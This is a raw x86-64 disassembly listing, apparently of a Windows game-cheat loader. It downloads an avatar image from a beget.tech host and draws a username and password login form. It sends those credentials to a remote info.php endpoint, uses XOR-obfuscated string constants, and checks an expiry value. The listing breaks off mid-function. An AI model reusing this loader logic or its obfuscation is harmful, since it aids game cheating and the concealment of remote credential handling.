mov rdx, r14
mov qword [rbp + 0x190], rdi
mov rcx, rax
mov qword [rbp + 0x198], rbx
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0xd08]
call fcn.14004a870
cmp qword [rbp + 0xd20], 0x10
lea rdx, [rbp + 0xd08]
lea r8, str.C:Your_cheat_nameuser.jpg
cmovae rdx, qword [rbp + 0xd08]
xor edi, edi
xor r9d, r9d
mov qword [rsp + 0x20], rdi
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
je 0x140050bb2
xor r9d, r9d
mov qword [rsp + 0x20], rdi
lea r8, str.C:Your_cheat_nameuser.jpg
xor ecx, ecx
lea rdx, str.http:__exitrog6.beget.tech_backavatar.jpg
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov rcx, qword [0x14009f7c0]
lea r8, [rbp + 0xc20]
lea rdx, str.C:_Your_cheat_name_user.jpg
call qword [sym.imp.d3dx9_43.dll_D3DXCreateTextureFromFileA]
test eax, eax
jne 0x140050bf8
mov rcx, qword [rbp + 0xc20]
lea r8, [rbp + 0x1070]
xor edx, edx
mov rax, qword [rcx]
call qword [rax + 0x88]
mov rax, qword [rbp + 0xc20]
mov qword [0x14009f8d8], rax
mov rdx, qword [rbp + 0xd20]
mov byte [0x14009f57d], dil
cmp rdx, 0x10
jb 0x140050c40
mov rcx, qword [rbp + 0xd08]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140050c3b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400531b7
call fcn.1400583c8
mov qword [rbp + 0xd18], rdi
mov qword [rbp + 0xd20], 0xf
mov byte [rbp + 0xd08], dil
test r12b, r12b
je 0x140050c8f
lea rdx, [r15 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140050c87
mov rsi, qword [rsi - 8]
add rdx, 0x27
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400531b7
mov rcx, rsi
call fcn.1400583c8
mov r15d, dword [rbp + 8]
mov rsi, 0xffffffffffffffff
mov r12, qword [rbp + 0x350]
mov r14, qword [rbp + 0x170]
mov qword [rbp + 0xd58], rdi
mov qword [rbp + 0xd60], 0xf
mov byte [rbp + 0xd48], dil
mov eax, 1
lea rcx, [rbp + 0xd88]
xor r9d, r9d
mov dword [rsp + 0x20], eax
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x140050d02
lea rcx, [rbp + 0xd88]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0xd88]
call qword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x140053189
cmp qword [0x14009fa40], 0
jne 0x140050d11
call fcn.140035970
mov rcx, qword [0x14009fa80]
lea rdx, [rbp + 0xc40]
mov rbx, qword [0x14009f580]
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xc40], xmm0
call qword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [rbp + 0xc4c]
sub eax, dword [rbp + 0xc44]
movd xmm1, eax
mov eax, dword [rbp + 0xc48]
sub eax, dword [rbp + 0xc40]
cmp byte [0x14009e85d], 0
cvtdq2ps xmm1, xmm1
movd xmm0, eax
cvtdq2ps xmm0, xmm0
movss dword [rbx + 0x14], xmm1
movss dword [rbx + 0x10], xmm0
je 0x140050dc0
mov rdi, qword [0x14009f580]
mov ecx, dword [rdi + 0x161c]
test ecx, ecx
jns 0x140050d9d
mov eax, ecx
cdq
sub eax, edx
xor edx, edx
sar eax, 1
add eax, ecx
lea rcx, [rdi + 0x1618]
test eax, eax
cmovg edx, eax
call fcn.140023260
xor eax, eax
lea r8, [0x140036860]
xor r9d, r9d
mov dword [rdi + 0x1618], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_EnumDisplayMonitors]
mov byte [0x14009e85d], 0
xor edi, edi
lea rcx, [rbp + 0xce0]
mov qword [rbp + 0xce0], rdi
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rcx, qword [rbp + 0xce0]
xorps xmm1, xmm1
mov rax, rcx
xorps xmm0, xmm0
sub rax, qword [0x14009fa88]
cvtsi2ss xmm0, qword [0x14009fa90]
cvtsi2ss xmm1, rax
divss xmm1, xmm0
movss dword [rbx + 0x18], xmm1
mov qword [0x14009fa88], rcx
lea ecx, [rdi + 0x11]
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
lea ecx, [rdi + 0x10]
and al, 1
mov byte [rbx + 0x13c], al
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
lea ecx, [rdi + 0x12]
and al, 1
mov byte [rbx + 0x13d], al
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
and al, 1
mov byte [rbx + 0x13f], dil
mov byte [rbx + 0x13e], al
call fcn.140036390
cmp byte [rbx + 0xcf], dil
je 0x140050e60
mov eax, esi
jmp 0x140050e6d
mov rax, qword [0x14009f580]
mov eax, dword [rax + 0x20d0]
cmp dword [0x14009e860], eax
je 0x140050e80
mov dword [0x14009e860], eax
call fcn.140036210
call fcn.140036590
call fcn.140007300
cmp byte [0x14006e068], dil
je 0x140053427
call fcn.14004b280
cmp byte [0x14009f57a], dil
mov rax, qword [0x14009f580]
jne 0x140050fab
movaps xmm0, xmmword [0x140062d70]
movups xmmword [rax + 0x171c], xmm0
mov byte [0x14009f57a], 1
movups xmmword [rax + 0x172c], xmm0
movaps xmm1, xmm0
movaps xmm1, xmmword [0x140062e30]
movups xmmword [rax + 0x176c], xmm1
movups xmmword [rax + 0x177c], xmm1
movups xmmword [rax + 0x184c], xmm1
movups xmmword [rbp + 0xbc0], xmm0
movups xmmword [rbp + 0xad0], xmm0
movaps xmm0, xmmword [0x140062e80]
movups xmmword [rax + 0x174c], xmm0
movups xmmword [rbp + 0xae0], xmm0
movaps xmm0, xmm1
movaps xmm0, xmmword [0x140062e70]
movups xmmword [rax + 0x186c], xmm0
movups xmmword [rax + 0x185c], xmm0
movups xmmword [rbp + 0xaf0], xmm1
movups xmmword [rbp + 0xb00], xmm1
movups xmmword [rbp + 0xb10], xmm1
movups xmmword [rbp + 0xb20], xmm0
movaps xmm1, xmm0
movups xmmword [rbp + 0xb30], xmm0
movaps xmm0, xmmword [0x140062dc0]
movups xmmword [rax + 0x170c], xmm0
mov dword [rax + 0x163c], 0x40800000
mov dword [rax + 0x1640], 0x40800000
mov qword [rax + 0x1644], 0x40a00000
mov dword [rax + 0x1660], 0x41a00000
mov dword [rax + 0x1678], 0x40400000
mov dword [rax + 0x1670], 0x41000000
mov dword [rax + 0x1674], 0x40c00000
mov dword [rax + 0x167c], 0x40000000
or dword [rax + 0x1dc0], 2
lea rdx, [0x14006e068]
movsd xmm0, qword [0x14009e8b0]
mov ebx, 1
movsd qword [rax + 0x1de4], xmm0
mov dword [rax + 0x1dc8], ebx
mov r8d, dword [0x14009e8b8]
mov rcx, qword [str.Your_cheat_name]
call fcn.14000da80
cmp byte [0x14009f579], bl
mov rcx, qword [0x14009f580]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], bl
mov rdx, qword [rcx + 0x1d18]
mov rsi, qword [rdx + 0x2f8]
movss xmm9, dword [rdx + 0x118]
movss xmm8, dword [rdx + 0x11c]
je 0x1400533e2
cmp byte [0x14009f57b], dil
je 0x140051343
mov byte [rdx + 0xd1], bl
lea r9, [rbp + 0x70]
mov rax, qword [rcx + 0x1d18]
lea r8, [rbp + 0x78]
mov rcx, qword [rbp + 0x88]
lea rdx, [rbp + 0x80]
mov dword [rbp + 0x70], 0x3f800000
mov dword [rbp + 0x74], 0x3f800000
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
mov qword [rbp + 0x78], rdi
mov dword [rbp + 0x80], 0x431407ae
addss xmm0, dword [0x140062a50]
mov dword [rbp + 0x84], 0x429ab333
addss xmm2, dword [0x140062a84]
movss dword [rax + 0x11c], xmm0
movss dword [rax + 0x118], xmm2
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x134], xmm1
movaps xmm1, xmmword [0x140062e80]
movss dword [rax + 0x130], xmm0
xorps xmm0, xmm0
lea rax, [rbp + 0x7a0]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x7b0]
mov qword [rsp + 0x20], rax
movups xmmword [rbp + 0x7a0], xmm0
movups xmmword [rbp + 0x7b0], xmm1
call fcn.14003b740
mov rcx, qword [0x14009f580]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], bl
mov rax, qword [rcx + 0x1d18]
lea rcx, [rbp + 0x7c0]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm0, dword [0x140062a14]
addss xmm2, dword [0x140062a88]
movss dword [rax + 0x11c], xmm0
movss dword [rax + 0x118], xmm2
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x134], xmm1
movss dword [rax + 0x130], xmm0
movaps xmm0, xmmword [0x140062d00]
movups xmmword [rbp + 0x7c0], xmm0
call fcn.140003260
addss xmm8, dword [0x140062a74]
movaps xmm0, xmm9
mov dword [rsp + 0x28], edi
addss xmm0, dword [0x140062a5c]
addss xmm9, dword [0x140062a58]
mov r9d, eax
movss dword [rsp + 0x20], xmm10
lea r8, [rbp + 0x90]
movss dword [rbp + 0x94], xmm8
lea rdx, [rbp + 0x98]
movss dword [rbp + 0x9c], xmm8
addss xmm0, xmm12
mov rcx, rsi
movss dword [rbp + 0x98], xmm9
movss dword [rbp + 0x90], xmm0
call fcn.14002ea30
mov rcx, r12
call fcn.140011230
mov rcx, qword [0x14009f580]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], bl
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm0, dword [0x140062a7c]
lea rcx, str.Preparing
addss xmm2, dword [0x140062a8c]
movss dword [rax + 0x11c], xmm0
movss dword [rax + 0x118], xmm2
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x134], xmm1
movss dword [rax + 0x130], xmm0
call fcn.1400396b0
call fcn.1400112d0
mov ecx, ebx
call fcn.1400585bc
lea rcx, [rbp + 0xcd8]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea r8, [0x140057db0]
xor ecx, ecx
mov dword [rsp + 0x20], edi
xor edx, edx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0xcd0], rax
test rax, rax
je 0x1400531df
cmp dword [rbp + 0xcd8], edi
je 0x1400531d6
call qword [sym.imp.MSVCP140.dll__Thrd_id]
cmp dword [rbp + 0xcd8], eax
je 0x1400531ca
movaps xmm0, xmmword [rbp + 0xcd0]
lea rcx, [rbp + 0x7d0]
xor edx, edx
movdqa xmmword [rbp + 0x7d0], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_join]
test eax, eax
jne 0x1400531be
xorps xmm0, xmm0
mov esi, ebx
movaps xmmword [rbp + 0xb40], xmm0
movdqa xmmword [rbp + 0xcd0], xmm0
jmp 0x140052fe0
cmp byte [0x14009f57e], dil
movaps xmm6, xmm8
movaps xmm7, xmm8
addss xmm6, xmm12
subss xmm7, xmm15
jne 0x140052970
movaps xmm0, xmmword [0x140062e80]
lea rcx, [rbp + 0x7e0]
movaps xmm1, xmm9
movss dword [rbp + 0xa4], xmm6
addss xmm1, dword [0x140062aa4]
movss dword [rbp + 0xac], xmm7
movups xmmword [rbp + 0x7e0], xmm0
movss dword [rbp + 0xa0], xmm1
movss dword [rbp + 0xa8], xmm1
call fcn.140003260
mov r9d, eax
movss dword [rsp + 0x20], xmm14
lea r8, [rbp + 0xa0]
mov rcx, rsi
lea rdx, [rbp + 0xa8]
call fcn.14002e7c0
mov rcx, qword [0x14009f580]
lea r9, [rbp + 0xb0]
lea r8, [rbp + 0xb8]
mov dword [rbp + 0xb0], 0x3f800000
lea rdx, [rbp + 0xc0]
mov dword [rbp + 0xb4], 0x3f800000
mov qword [rbp + 0xb8], rdi
mov rax, qword [rcx + 0x1d18]
mov dword [rbp + 0xc0], 0x42d80000
mov dword [rbp + 0xc4], 0x42c40000
mov byte [rax + 0xd1], bl
mov rax, qword [rcx + 0x1d18]
mov rcx, qword [rbp + 0x20]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, dword [0x140062a54]
addss xmm2, dword [0x140062a08]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movaps xmm1, xmmword [0x140062e80]
movss dword [rax + 0x134], xmm0
xorps xmm0, xmm0
lea rax, [rbp + 0x7f0]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x6f0]
mov qword [rsp + 0x20], rax
movups xmmword [rbp + 0x7f0], xmm0
movups xmmword [rbp + 0x6f0], xmm1
call fcn.14003b740
mov rcx, qword [0x14009f580]
movss xmm6, dword [0x140062a24]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], bl
mov rax, qword [rcx + 0x1d18]
mov rcx, r14
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, xmm6
addss xmm2, dword [0x140062a60]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
call fcn.140011230
lea rcx, [0x1400625f8]
call fcn.1400396b0
call fcn.1400112d0
mov rdi, qword [0x14009f580]
mov rax, qword [rdi + 0x1d18]
mov byte [rax + 0xd1], bl
mov rax, qword [rdi + 0x1d18]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, xmm6
addss xmm2, dword [0x140062a64]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
mov rcx, qword [rdi + 0x1d18]
lea rbx, [rcx + 0x204]
add rcx, 0x210
mov rdx, rbx
call fcn.140022fb0
xor eax, eax
mov dword [rbx], 0x43700000
and dword [rdi + 0x1e58], 0xfffffffe
lea r8, [0x14009f590]
mov qword [rsp + 0x38], rax
lea rcx, str.Username
mov qword [rsp + 0x30], rax
mov r9d, 0xff
mov dword [rsp + 0x28], eax
xor edx, edx
lea rax, [rbp + 0xc8]
mov qword [rbp + 0xc8], 0
mov qword [rsp + 0x20], rax
call fcn.14003eab0
mov rcx, qword [0x14009f580]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
mov rcx, qword [0x14006e060]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, xmm6
addss xmm2, dword [0x140062a90]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
call fcn.1400396b0
mov rcx, qword [0x14009f580]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
mov rcx, r14
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, xmm6
addss xmm2, dword [0x140062a78]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
call fcn.140011230
lea rcx, [0x140062618]
call fcn.1400396b0
call fcn.1400112d0
mov rdi, qword [0x14009f580]
mov rax, qword [rdi + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rdi + 0x1d18]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
addss xmm0, xmm6
subss xmm2, dword [rax + 0xa0]
movss dword [rax + 0x118], xmm0
addss xmm2, dword [0x140062a80]
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
mov rcx, qword [rdi + 0x1d18]
lea rbx, [rcx + 0x204]
add rcx, 0x210
mov rdx, rbx
call fcn.140022fb0
mov dword [rbx], 0x43700000
lea rax, [rbp + 0xd0]
and dword [rdi + 0x1e58], 0xfffffffe
lea r8, [0x14009f7d0]
xor edi, edi
mov qword [rbp + 0xd0], 0
mov qword [rsp + 0x38], rdi
lea rcx, str.Password
mov qword [rsp + 0x30], rdi
mov r9d, 0xff
mov dword [rsp + 0x28], 0x8000
xor edx, edx
mov qword [rsp + 0x20], rax
call fcn.14003eab0
mov rcx, qword [0x14009f580]
lea rdx, [rbp + 0xd8]
mov dword [rbp + 0xd8], 0x43700000
mov dword [rbp + 0xdc], 0x42200000
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
lea rcx, str.LOGIN
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, xmm6
addss xmm2, xmm13
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
call fcn.14003a170
test al, al
je 0x14005278b
lea rcx, [rbp + 0x378]
call fcn.14004aea0
mov rbx, rax
lea r8d, [rdi + 0x2d]
movabs r14, 0x49d772618f4a9884
movabs rdx, 0xd9ee6dd86e16366f
movabs rax, 0xd9ee50bc07615e49
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x10], rcx
mov qword [rbp], r14
mov rcx, qword [rbp]
mov qword [rbp + 0x18], rcx
mov qword [rbp], rdx
mov rcx, qword [rbp]
mov qword [rbp], r14
mov rax, qword [rbp]
movdqa xmm0, xmmword [rbp + 0x10]
mov qword [rbp + 0x10b8], rax
movabs rax, 0xab811aab1d774649
mov qword [rbp + 0x10b0], rcx
lea rcx, [rbp + 0x260]
pxor xmm0, xmmword [rbp + 0x10b0]
movdqa xmmword [rbp + 0x10], xmm0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x280], rax
movabs rax, 0x49d772618f4aa5e0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x288], rax
mov qword [rbp], rdx
lea rdx, str.http:__exitrog6.beget.tech_info.php_username
mov rax, qword [rbp]
mov qword [rbp + 0x10c0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
movdqa xmm0, xmmword [rbp + 0x280]
mov qword [rbp + 0x10c8], rax
pxor xmm0, xmmword [rbp + 0x10c0]
movdqa xmmword [rbp + 0x280], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x260], xmm0
mov qword [rbp + 0x270], rdi
mov qword [rbp + 0x278], rdi
call fcn.140056d90
lea rdx, [0x14009f590]
lea rcx, [rbp + 0x260]
call fcn.1400552e0
mov qword [rbp + 0x1b0], rdi
lea rdx, [rbp + 0x280]
mov qword [rbp + 0x1b8], rdi
lea rcx, [rbp + 0x1a0]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a0], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1a0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1b0], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], dil
call fcn.1400552e0
mov qword [rbp + 0x1d0], rdi
lea rdx, [0x14009f7d0]
mov qword [rbp + 0x1d8], rdi
lea rcx, [rbp + 0x1c0]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c0], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1c0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1d0], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], dil
call fcn.1400552e0
xorps xmm0, xmm0
mov qword [rbp + 0x1f0], rdi
movups xmmword [rbp + 0x1e0], xmm0
mov qword [rbp + 0x1f8], rdi
movups xmm0, xmmword [rax]
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x1e0]
movups xmmword [rbp + 0x1e0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1f0], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], dil
call fcn.1400552e0
mov r9, rbx
lea r8, [rbp + 0x310]
lea rcx, [rbp + 0xb70]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rdi
movups xmmword [rbp + 0x310], xmm0
mov qword [rax + 0x18], 0xf
movups xmmword [rbp + 0x320], xmm1
mov byte [rax], dil
call fcn.140057720
lea rdx, [rbp + 0xb70]
lea rcx, [rbp + 0x358]
call fcn.14004a870
mov rbx, rax
lea rax, [0x14009e8c0]
cmp rax, rbx
je 0x140051bcd
mov rdx, qword [0x14009e8d8]
cmp rdx, 0x10
jb 0x140051b90
mov rcx, qword [0x14009e8c0]
inc rdx
cmp rdx, 0x1000
jb 0x140051b8b
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400531f1
mov rcx, r8
call fcn.1400583c8
mov qword [0x14009e8d0], rdi
mov qword [0x14009e8d8], 0xf
mov byte [0x14009e8c0], dil
movups xmm0, xmmword [rbx]
movups xmmword [0x14009e8c0], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [0x14009e8d0], xmm1
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], dil
mov rdx, qword [rbp + 0x370]
cmp rdx, 0x10
jb 0x140051c0e
mov rcx, qword [rbp + 0x358]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140051c09
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400531f1
call fcn.1400583c8
mov rdx, qword [rbp + 0x328]
mov qword [rbp + 0x368], rdi
mov qword [rbp + 0x370], 0xf
mov byte [rbp + 0x358], dil
cmp rdx, 0x10
jb 0x140051c68
mov rcx, qword [rbp + 0x310]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140051c63
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400531f1
call fcn.1400583c8
mov rdx, qword [rbp + 0x1f8]
mov qword [rbp + 0x320], rdi
mov qword [rbp + 0x328], 0xf
mov byte [rbp + 0x310], dil
cmp rdx, 0x10
jb 0x140051cc2
mov rcx, qword [rbp + 0x1e0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140051cbd
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400531f1
call fcn.1400583c8
mov rdx, qword [rbp + 0x1d8]
mov qword [rbp + 0x1f0], rdi
mov qword [rbp + 0x1f8], 0xf
mov byte [rbp + 0x1e0], dil
cmp rdx, 0x10
jb 0x140051d1c
mov rcx, qword [rbp + 0x1c0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140051d17
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400531f1
call fcn.1400583c8
mov rdx, qword [rbp + 0x1b8]
mov qword [rbp + 0x1d0], rdi
mov qword [rbp + 0x1d8], 0xf
mov byte [rbp + 0x1c0], dil
cmp rdx, 0x10
jb 0x140051d76
mov rcx, qword [rbp + 0x1a0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140051d71
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400531f1
call fcn.1400583c8
mov rdx, qword [rbp + 0x278]
mov qword [rbp + 0x1b0], rdi
mov qword [rbp + 0x1b8], 0xf
mov byte [rbp + 0x1a0], dil
cmp rdx, 0x10
jb 0x140051dd0
mov rcx, qword [rbp + 0x260]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140051dcb
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400531f1
call fcn.1400583c8
mov rdx, qword [rbp + 0x390]
mov qword [rbp + 0x270], rdi
mov qword [rbp + 0x278], 0xf
mov byte [rbp + 0x260], dil
cmp rdx, 0x10
jb 0x140051e2a
mov rcx, qword [rbp + 0x378]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140051e25
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400531f1
call fcn.1400583c8
mov qword [rbp + 0x388], rdi
lea rcx, [rbp + 0x30]
mov qword [rbp + 0x390], 0xf
movabs rax, 0xd9ee09bd09715903
mov byte [rbp + 0x378], dil
mov rbx, 0xffffffffffffffff
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
movabs rax, 0xd9ee6dd86e16366f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x10d0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
movdqa xmm0, xmmword [rbp + 0x30]
mov qword [rbp + 0x10d8], rax
mov rax, rbx
pxor xmm0, xmmword [rbp + 0x10d0]
movdqa xmmword [rbp + 0x30], xmm0
nop dword [rax]
inc rax
cmp byte [rcx + rax], dil
jne 0x140051eb0
cmp qword [0x14009e8d8], 0x10
lea rdx, [0x14009e8c0]
mov r8, qword [0x14009e8d0]
mov rcx, rdx
cmovae rcx, qword [0x14009e8c0]
cmp r8, rax
jne 0x14005263c
lea rdx, [rbp + 0x30]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140052635
xorps xmm0, xmm0
mov qword [rbp + 0x2a0], rdi
lea r8d, [rax + 7]
mov qword [rbp + 0x2a8], rdi
lea rdx, str.expire
lea rcx, [rbp + 0x290]
movups xmmword [rbp + 0x290], xmm0
call fcn.140056d90
xorps xmm0, xmm0
mov qword [rbp + 0x250], rdi
mov r8d, 0x2d
mov qword [rbp + 0x258], rdi
lea rdx, str.http:__exitrog6.beget.tech_info.php_username
lea rcx, [rbp + 0x240]
movups xmmword [rbp + 0x240], xmm0
call fcn.140056d90
lea rdx, [0x14009f590]
lea rcx, [rbp + 0x240]
call fcn.1400552e0
lea r9, [rbp + 0x290]
lea r8, [rbp + 0x2f0]
lea rcx, [rbp + 0xd68]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rdi
movups xmmword [rbp + 0x2f0], xmm0
mov qword [rax + 0x18], 0xf
movups xmmword [rbp + 0x300], xmm1
mov byte [rax], dil
call fcn.140057720
mov rdx, qword [rbp + 0x308]
cmp rdx, 0x10
jb 0x140051fe6
mov rcx, qword [rbp + 0x2f0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140051fe1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400531f8
call fcn.1400583c8
mov rdx, qword [rbp + 0x258]
mov qword [rbp + 0x300], rdi
mov qword [rbp + 0x308], 0xf
mov byte [rbp + 0x2f0], dil
cmp rdx, 0x10
jb 0x140052040
mov rcx, qword [rbp + 0x240]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005203b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
